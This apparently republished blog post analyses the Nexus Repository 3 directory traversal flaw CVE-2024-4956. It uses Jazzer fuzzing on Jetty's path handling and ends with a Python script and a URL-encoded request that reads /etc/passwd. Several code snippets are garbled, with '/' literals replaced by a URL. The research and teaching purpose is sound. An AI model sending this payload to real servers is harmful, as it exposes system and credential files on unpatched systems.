in ,

Exploiting Nexus Repository 3 Directory Traversal Vulnerability (CVE-2024-4956) via Java Fuzzing


Exploiting Nexus Repository 3 Directory Traversal Vulnerability (CVE-2024-4956) via Java Fuzzing

Preface

A long time ago, when I was digging a SRC with my friends, I encountered a Nexus repository open on the public network. However, I didn’t find any sensitive information in the jar package in the repository at that time, so I gave up.

I remembered this incident after seeing CyberKunlun’s vulnerability announcement last Wednesday, so I spent some time analyzing the vulnerability briefly, and finally got the PoC by combining Jazzer, a Java Fuzzing framework.

This article is actually a little late, but since I am also doing Fuzzing related work recently, and @evilpan The master has also shared an article about Java Fuzzing before, so I also plan to use this directory to briefly share the application of Java Fuzzing in vulnerability mining.

https://evilpan.com/2023/09/09/java-fuzzing/

Vulnerabilities

https://mp.weixin.qq.com/s/7kAEwB_FcQ2KLeiIfh0dxg

https://support.sonatype.com/hc/en-us/articles/29412417068819-Mitigations-for-CVE-2024-4956-Nexus-Repository-3-Vulnerability

Let me first talk about how to get the source code and debug

1
2
docker pull sonatype/nexus3:3.68.0-java8
docker pull sonatype/nexus3:3.68.0-java8

Copy the /opt/sonatype/nexus directory in the image

Then copy all the jars in the directory to the same directory to facilitate IDEA to add dependencies

1
find . -name "*.jar" -exec cp {} all-lib/ \;

Docker Debugging

1
docker run -d -p 8081:8081 -p 5005:5005 --name nexus -e INSTALL4J_ADD_VM_PARAMS="-agentlib:jdwp=transport=dt_socket,server=y,suspend=n,address=5005" sonatype/nexus3:3.68.0-java8

Comparing with nexus-base-xxx.jar, we can find that the vulnerability is located in WebResourceServiceImpl

In addition, the official announcement mentioned reourceBase, located in jetty.xml

This is actually very easy to understand. When the URL accessed by the user does not hit any Servlet, it will fallback to this public directory.

The public directory contains static files, such as robots.txt and various images (favicon).

By setting a few breakpoints and doing some simple dynamic debugging, we can find that WebResourceServlet calls the getResource method of WebResourceServiceImpl

org.sonatype.nexus.internal.webresources.WebResourceServlet

The path passed in here cannot be / At the end, otherwise it will be added index.htmlyou need to pay attention to this point when fuzzing later

org.sonatype.nexus.internal.webresources.WebResourceServiceImpl#getResource

The getResource method obtains resource files in three different ways:

  1. devModeResources: You need to manually enable the developer mode. A resourceLocations list is maintained internally. It is empty by default.
  2. resourcePaths: Various js files and images in the static directory

  1. this.servletContext: 即 org.eclipse.jetty.webapp.WebAppContextGet resource files through Jetty's WebAppContext

After testing, we found that if we access files in the public directory, such as robots.txt, it will fallback to the third method, which is org.eclipse.jetty.webapp.WebAppContext#getResource

This is actually the logic of Jetty itself, and has nothing to do with Nexus.

Directly give the call stack

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
<init>:261, PathResource (org.eclipse.jetty.util.resource)
addPath:380, PathResource (org.eclipse.jetty.util.resource)
getResource:1958, ContextHandler (org.eclipse.jetty.server.handler)
getResource:389, WebAppContext (org.eclipse.jetty.webapp)
getResource:1562, WebAppContext$Context (org.eclipse.jetty.webapp)
getResource:127, WebResourceServiceImpl (org.sonatype.nexus.internal.webresources)
doGet:98, WebResourceServlet (org.sonatype.nexus.internal.webresources)
service:687, HttpServlet (javax.servlet.http)
service:790, HttpServlet (javax.servlet.http)
doServiceImpl:293, ServletDefinition (com.google.inject.servlet)
doService:283, ServletDefinition (com.google.inject.servlet)
service:184, ServletDefinition (com.google.inject.servlet)
service:71, DynamicServletPipeline (com.google.inject.servlet)
doFilter:85, FilterChainInvocation (com.google.inject.servlet)
doFilter:61, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:108, AdviceFilter (org.apache.shiro.web.servlet)
doFilterInternal:137, AdviceFilter (org.apache.shiro.web.servlet)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:66, ProxiedFilterChain (org.apache.shiro.web.servlet)
executeChain:458, AbstractShiroFilter (org.apache.shiro.web.servlet)
executeChain:96, SecurityFilter (org.sonatype.nexus.security)
call:373, AbstractShiroFilter$1 (org.apache.shiro.web.servlet)
doCall:90, SubjectCallable (org.apache.shiro.subject.support)
call:83, SubjectCallable (org.apache.shiro.subject.support)
execute:387, DelegatingSubject (org.apache.shiro.subject.support)
doFilterInternal:370, AbstractShiroFilter (org.apache.shiro.web.servlet)
doFilterInternal:112, SecurityFilter (org.sonatype.nexus.security)
doFilter:154, OncePerRequestFilter (org.apache.shiro.web.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:116, LicensingRedirectFilter (com.sonatype.nexus.licensing.internal)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:112, AbstractInstrumentedFilter (com.codahale.metrics.servlet)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:79, ErrorPageFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:101, EnvironmentFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
doFilter:98, HeaderPatternFilter (org.sonatype.nexus.internal.web)
doFilter:82, FilterChainInvocation (com.google.inject.servlet)
dispatch:104, DynamicFilterPipeline (com.google.inject.servlet)
doFilter:133, GuiceFilter (com.google.inject.servlet)
doFilter:73, DelegatingFilter (org.sonatype.nexus.bootstrap.osgi)
doFilter:201, FilterHolder (org.eclipse.jetty.servlet)
doFilter:1626, ServletHandler$Chain (org.eclipse.jetty.servlet)
doHandle:552, ServletHandler (org.eclipse.jetty.servlet)
handle:143, ScopedHandler (org.eclipse.jetty.server.handler)
handle:600, SecurityHandler (org.eclipse.jetty.security)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
nextHandle:235, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1624, SessionHandler (org.eclipse.jetty.server.session)
nextHandle:233, ScopedHandler (org.eclipse.jetty.server.handler)
doHandle:1440, ContextHandler (org.eclipse.jetty.server.handler)
nextScope:188, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:505, ServletHandler (org.eclipse.jetty.servlet)
doScope:1594, SessionHandler (org.eclipse.jetty.server.session)
nextScope:186, ScopedHandler (org.eclipse.jetty.server.handler)
doScope:1355, ContextHandler (org.eclipse.jetty.server.handler)
handle:141, ScopedHandler (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:239, InstrumentedHandler (com.codahale.metrics.jetty9)
handle:146, HandlerCollection (org.eclipse.jetty.server.handler)
handle:127, HandlerWrapper (org.eclipse.jetty.server.handler)
handle:516, Server (org.eclipse.jetty.server)
lambda$handle$1:487, HttpChannel (org.eclipse.jetty.server)
dispatch:-1, 1026407993 (org.eclipse.jetty.server.HttpChannel$$Lambda$1934)
dispatch:732, HttpChannel (org.eclipse.jetty.server)
handle:479, HttpChannel (org.eclipse.jetty.server)
onFillable:277, HttpConnection (org.eclipse.jetty.server)
succeeded:311, AbstractConnection$ReadCallback (org.eclipse.jetty.io)
fillable:105, FillInterest (org.eclipse.jetty.io)
run:104, ChannelEndPoint$1 (org.eclipse.jetty.io)
runTask:338, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
doProduce:315, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
tryProduce:173, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:131, EatWhatYouKill (org.eclipse.jetty.util.thread.strategy)
run:409, ReservedThreadExecutor$ReservedThread (org.eclipse.jetty.util.thread)
runJob:883, QueuedThreadPool (org.eclipse.jetty.util.thread)
run:1034, QueuedThreadPool$Runner (org.eclipse.jetty.util.thread)
run:750, Thread (java.lang)

Several key points

First, the path must start with / beginning

Then the path will be spliced ​​through the addPath method of PathResource

The addPath method will first use the URIUtil.canonicalPath method to normalize the path. If the normalized result is null, an exception will be thrown.

Then the original subPath is passed into the PathResource constructor to get a new resource path

Note that the result of canonicalPath is not passed into the PathResource constructor, which means that this process is just a check rather than a sanitize.

Let's look at the specific implementation of this method

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
public static String canonicalPath(String path) {
    if (path != null && !path.isEmpty()) {
        boolean slash = true;
        int end = path.length();

        int i;
        label68:
        for(i = 0; i < end; ++i) {
            char c = path.charAt(i);
            switch (c) {
                case '.':
                    if (slash) {
                        break label68;
                    }

                    slash = false;
                    break;
                case "https://unsafe.sh/":
                    slash = true;
                    break;
                default:
                    slash = false;
            }
        }

        if (i == end) {
            return path;
        } else {
            StringBuilder canonical = new StringBuilder(path.length());
            canonical.append(path, 0, i);
            int dots = 1;
            ++i;

            for(; i < end; ++i) {
                char c = path.charAt(i);
                switch (c) {
                    case '.':
                        if (dots > 0) {
                            ++dots;
                        } else if (slash) {
                            dots = 1;
                        } else {
                            canonical.append('.');
                        }

                        slash = false;
                        continue;
                    case "https://unsafe.sh/":
                        if (doDotsSlash(canonical, dots)) {
                            return null;
                        }

                        slash = true;
                        dots = 0;
                        continue;
                }

                while(dots-- > 0) {
                    canonical.append('.');
                }

                canonical.append(c);
                dots = 0;
                slash = false;
            }

            if (doDots(canonical, dots)) {
                return null;
            } else {
                return canonical.toString();
            }
        }
    } else {
        return path;
    }
}

How does this method normalize the path? Under what circumstances will it return null? You can simply feel it through the following demos

1
2
3
4
5
URIUtil.canonicalPath("/robots.txt"); // /robots.txt
URIUtil.canonicalPath("/./etc/passwd"); // /etc/passwd
URIUtil.canonicalPath("/etc/a/b/c/../../../passwd"); // /etc/passwd
URIUtil.canonicalPath("/../etc/passwd"); // null
URIUtil.canonicalPath("/../../../etc/passwd"); // null

When the passed path jumps out of the current root directory, canonicalPath will return null, which seems to be to prevent directory traversal.

To be honest, I can't immediately think of any way to bypass it at first glance, but we can extract the above series of logic from Jetty and use the idea of ​​fuzzing to test it.

Fuzzing

https://github.com/CodeIntelligenceTesting/jazzer

Jazzer is a fuzzing framework based on libfuzzer, and is also integrated into Google's OSS-Fuzz

For more information on using libfuzzer, please refer to Google's fuzzing tutorial.

https://github.com/google/fuzzing/blob/master/tutorial/libFuzzerTutorial.md

Jazzer is essentially a shell of libfuzzer, but it has made the following improvements on the Java language level (based on Java Agent):

  1. Coverage instrumentation: Generate a control flow graph (CFG) and insert a method call (CoverageMap.recordCoverage) on each edge to record the coverage of the current position.
  2. Data flow instrumentation: Hooks common Java data type comparison methods (such as compare, indexOf, startsWith), as well as the underlying JVM opcodes, and sends trace data to libfuzzer for mutating fuzz data
  3. Sensitive function (Sink) stub: Hook common dangerous functions (such as Runtime.exec, InitialContext.lookup, Statement.execute) and detect whether there is dangerous logic. The idea is similar to RASP.

Interested masters can refer to the following articles and the source code of the Jazzer project

https://www.code-intelligence.com/blog/java-fuzzing-with-jazzer

https://www.code-intelligence.com/blog/how-to-write-fuzz-targets-for-java-applications

https://www.code-intelligence.com/blog/on-the-fuzzing-hook

Before fuzzing, we need to write a Test Harness, that is, define a fuzzerTestOneInput method, and then call the specific method to be fuzzed internally

For this vulnerability, Test Harness is the logic that we need to extract from Jetty.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
package fuzz;

import com.code_intelligence.jazzer.api.FuzzedDataProvider;
import com.code_intelligence.jazzer.api.FuzzerSecurityIssueCritical;
import com.code_intelligence.jazzer.api.Jazzer;
import org.eclipse.jetty.util.URIUtil;
import org.eclipse.jetty.util.resource.PathResource;

import java.net.URI;

public class Main {
    public static void fuzzerTestOneInput(FuzzedDataProvider data) {
        String path = data.consumeRemainingAsAsciiString();
        if (!path.startsWith("https://unsafe.sh/")) return;
        if (URIUtil.canonicalPath(path) == null) return;
        if (path.endsWith("https://unsafe.sh/")) return;
        if (!path.endsWith("/etc/passwd")) return;

        try {
            PathResource parent = new PathResource(new URI("file:///a/b/c/d"));
            PathResource child = (PathResource) parent.addPath(path);

            if (child.getPath().normalize().toString().equals("/etc/passwd")) {
                Jazzer.reportFindingFromHook(new FuzzerSecurityIssueCritical("success"));
            }
        } catch (Exception e) {
            // ignore
        }
    }
}

The first few ifs are used to limit the scope of fuzz data. The subsequent process is to splice the path through PathResource.

If the concatenated path is equal to /etc/passwdthen it is highly likely that the data is valid, and then a FuzzerSecurityIssueCritical exception will be thrown to terminate the fuzzing process

Package the harness and Jetty dependencies into the same jar, then run Jazzer

1
./jazzer --cp="JettyFuzz.jar" --target_class="fuzz.Main" -use_value_profile=1

Wait for a while to get the result

Of course, it is definitely not possible to access directly using this path, because Jetty will perform some standardization operations on this deformed URL before Servlet processing, resulting in the path received by the final Servlet not being our original path. The solution is to fully URL encode the path before sending it.

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
import requests

def urlencode(data):
    enc_data = ''
    for i in data:
        h = str(hex(ord(i))).replace('0x', '')
        if len(h) == 1:
            enc_data += '%0' + h.upper()
        else:
            enc_data += '%' + h.upper()
    return enc_data

payload = '///..//.//..///..//.././etc/passwd'

url = 'http://127.0.0.1:8081/' + urlencode(payload)
res = requests.get(url)
print(url)
print(res.text)

Final PoC

1
http://127.0.0.1:8081/%2F%2F%2F%2E%2E%2F%2F%2E%2F%2F%2E%2E%2F%2F%2F%2E%2E%2F%2F%2E%2E%2F%2E%2F%65%74%63%2F%70%61%73%73%77%64

Complete harness code: https://github.com/X1r0z/JettyFuzz

Nevertheless, the above fuzzing process still has some problems.

  1. The harness has been simplified to a certain extent, and it cannot completely restore the actual scene (if you want to completely restore it, the corresponding fuzz efficiency will be lower and it will take more time)

  2. Because of the above, the payload generated by fuzzing may have false positives. You may need to run fuzz multiple times to get multiple results before testing.

But in general, Java Fuzzing technology can still play a certain role in the process of vulnerability discovery, such as the construction of complex/malformed paths, or @evilpan The authentication bypass caused by the specific IP mentioned by the master in the article

What do you think?

Leave a Reply

Your email address will not be published. Required fields are marked *

GIPHY App Key not set. Please check settings

The Ministry of Industry and Information Technology notified 50 APPs (SDKs) that infringe on user rights; the US government will enforce quantum-resistant encryption | Niu Lan

Threat landscape for industrial automation systems, Q1 2024